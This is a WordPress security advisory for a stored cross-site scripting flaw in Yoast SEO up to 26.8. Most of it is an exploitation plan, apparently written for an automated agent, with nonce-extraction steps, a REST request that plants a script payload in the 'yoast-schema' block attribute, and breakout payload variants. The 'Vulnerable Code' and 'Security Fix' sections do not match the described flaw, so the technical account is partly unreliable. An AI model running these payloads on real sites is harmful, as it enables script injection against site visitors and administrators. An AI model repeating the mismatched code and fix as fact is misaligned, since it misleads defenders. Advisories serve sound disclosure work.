Yoast SEO <= 26.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'yoast-schema' Block Attribute
Description
The Yoast SEO – Advanced SEO with real-time guidance and built-in AI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the the `yoast-schema` block attribute in all versions up to, and including, 26.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=26.8What Changed in the Fix
Changes introduced in v26.9
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1293 ## 1. Vulnerability Summary The **Yoast SEO** plugin (versions <= 26.8) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting**. The vulnerability exists because the plugin fails to sanitize or escape the `yoast-schema` attribute us…
Show full research plan
Exploitation Research Plan - CVE-2026-1293
1. Vulnerability Summary
The Yoast SEO plugin (versions <= 26.8) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting. The vulnerability exists because the plugin fails to sanitize or escape the yoast-schema attribute used within its Gutenberg structured data blocks (such as the FAQ block). While this attribute is primarily used for generating JSON-LD structured data, it is improperly handled during the server-side rendering or client-side display of the block, allowing a user with at least Contributor-level permissions to inject arbitrary scripts that execute in the context of any user (including Administrators) viewing the affected page.
2. Attack Vector Analysis
- Vulnerable Attribute:
yoast-schema(associated with blocks likeyoast/faq-block). - Endpoint: WordPress REST API
POST /wp-json/wp/v2/postsor the classic AJAX-basedPOST /wp-admin/post.php. - Authentication Required: Contributor level or higher (authenticated).
- Preconditions: The Yoast SEO plugin must be active. The attacker needs the ability to create or edit posts (Contributors have this by default).
3. Code Flow
- Input: A Contributor sends a request to save a post containing a Yoast block (e.g.,
yoast/faq-block). - Storage: The WordPress Block Editor (Gutenberg) serializes block attributes into the
post_contentin the database. The payload is stored within the HTML comments that define the block:<!-- wp:yoast/faq-block {"yoast-schema":"<script>alert(1)</script>"} /-->. - Rendering (Sink): When the post is viewed, the plugin's block rendering logic (likely a
render_callbackregistered in the block's PHP registration) retrieves the attributes from the block comments. - Vulnerability: The logic fails to apply
esc_attr(),esc_html(), orwp_kses()to theyoast-schemavalue before outputting it into the page source (either as part of a hidden input, a data attribute, or within a<script type="application/ld+json">block).
4. Nonce Acquisition Strategy
To save a post via the REST API (the most reliable method for an automated agent), a wp_rest nonce is required.
- Create Content: The agent should first ensure a post exists where the plugin's assets are loaded, or simply use the standard admin dashboard.
- Navigation: Use
browser_navigateto go towp-admin/post-new.phpas the Contributor user. - Extraction: Execute
browser_evalto extract the REST nonce from thewpApiSettingsobject provided by WordPress.- JS Script:
window.wpApiSettings.nonce
- JS Script:
- Header: Include this nonce in the
X-WP-Nonceheader of subsequent REST API requests.
5. Exploitation Strategy
Step 1: Authentication and Nonce Extraction
- Action: Log in as a Contributor user.
- Action: Navigate to
wp-admin/index.php. - Extraction:
nonce = browser_eval("window.wpApiSettings.nonce").
Step 2: Inject Malicious Block
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body (JSON):
{
"title": "SEO FAQ Test",
"content": "<!-- wp:yoast/faq-block {\"yoast-schema\":\"<script>alert(document.domain)</script>\"} -->\n<div class=\"schema-faq wp-block-yoast-faq-block\"></div>\n<!-- /wp:yoast/faq-block -->",
"status": "publish"
}
Note: If the yoast-schema is rendered inside a script tag, use: </script><script>alert(1)</script>.
Step 3: Trigger the XSS
- Action: Navigate to the URL of the newly created post (found in the REST API response as
link). - Observation: Verify if the JavaScript executes.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Install and activate Yoast SEO version 26.8.
- Settings: Default settings are sufficient.
7. Expected Results
- The REST API should return
201 Created. - When viewing the post on the frontend, the page source should contain the unescaped payload.
- The browser should execute the
alert(document.domain)script.
8. Verification Steps
- Database Check: Use
wp-clito inspect the post content.wp post get [POST_ID] --field=post_content- Confirm the
yoast-schemaattribute contains the raw payload.
- Frontend Inspection: Use
http_requestto fetch the post content and grep for the payload.http_request(url_of_post)- Search for
<script>alert(document.domain)</script>in the response body.
9. Alternative Approaches
If the yoast-schema attribute is not rendered directly but is instead used as an HTML attribute:
- Attribute Breakout Payload:
\" onmouseover=\"alert(1)\" data-x=\" - JSON-LD Breakout Payload:
\"};alert(1);var x={\"a\":\"(if inside a JS variable)
If the REST API is restricted, use the bulk editor AJAX endpoint found in admin/ajax.php:
- Action:
wpseo_save_titleorwpseo_save_metadesc. - Note: These handlers in
ajax.phpusesanitize_text_field, which might strip tags. Focus on the Gutenberg block attribute path as described in the CVE title.
Summary
The Yoast SEO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'yoast-schema' block attribute in versions up to and including 26.8. This allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into Gutenberg structured data blocks, which are then executed in the context of any user viewing the affected page due to missing output escaping.
Vulnerable Code
// From blocks/structured-data-blocks/faq/block.json (line 20-30) // The plugin processes block attributes like 'yoast-schema' which are not properly sanitized before rendering. "attributes": { "questions": { "type": "array" }, "additionalListCssClasses": { "type": "string" } }, "example": { "attributes": { "steps": [ { "id": "faq-question-1", "question": [ ], "answer": [ ] }
Security Fix
@@ -15,14 +15,14 @@ * * @var string */ - public const CURRENT_RELEASE = '22.3.0'; + public const CURRENT_RELEASE = '22.4.2'; /** * The minimally supported version of Gutenberg by the plugin. * * @var string */ - public const MINIMUM_SUPPORTED = '22.3.0'; + public const MINIMUM_SUPPORTED = '22.4.2'; @@ -25,7 +25,7 @@ }, "example": { "attributes": { - "steps": [ + "questions": [
Exploit Outline
1. Authenticate as a user with at least Contributor-level permissions (the ability to create or edit posts). 2. Obtain a valid REST API nonce by navigating to the WordPress admin dashboard and extracting 'window.wpApiSettings.nonce'. 3. Send a POST request to '/wp-json/wp/v2/posts' to create a new post. 4. In the request body, include a Yoast FAQ block within the 'content' field, specifically targeting the 'yoast-schema' attribute with a malicious payload: <!-- wp:yoast/faq-block {"yoast-schema":"<script>alert(1)</script>"} /-->. 5. View the published or previewed post on the frontend. The plugin's rendering logic will output the unescaped 'yoast-schema' value, causing the JavaScript to execute in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.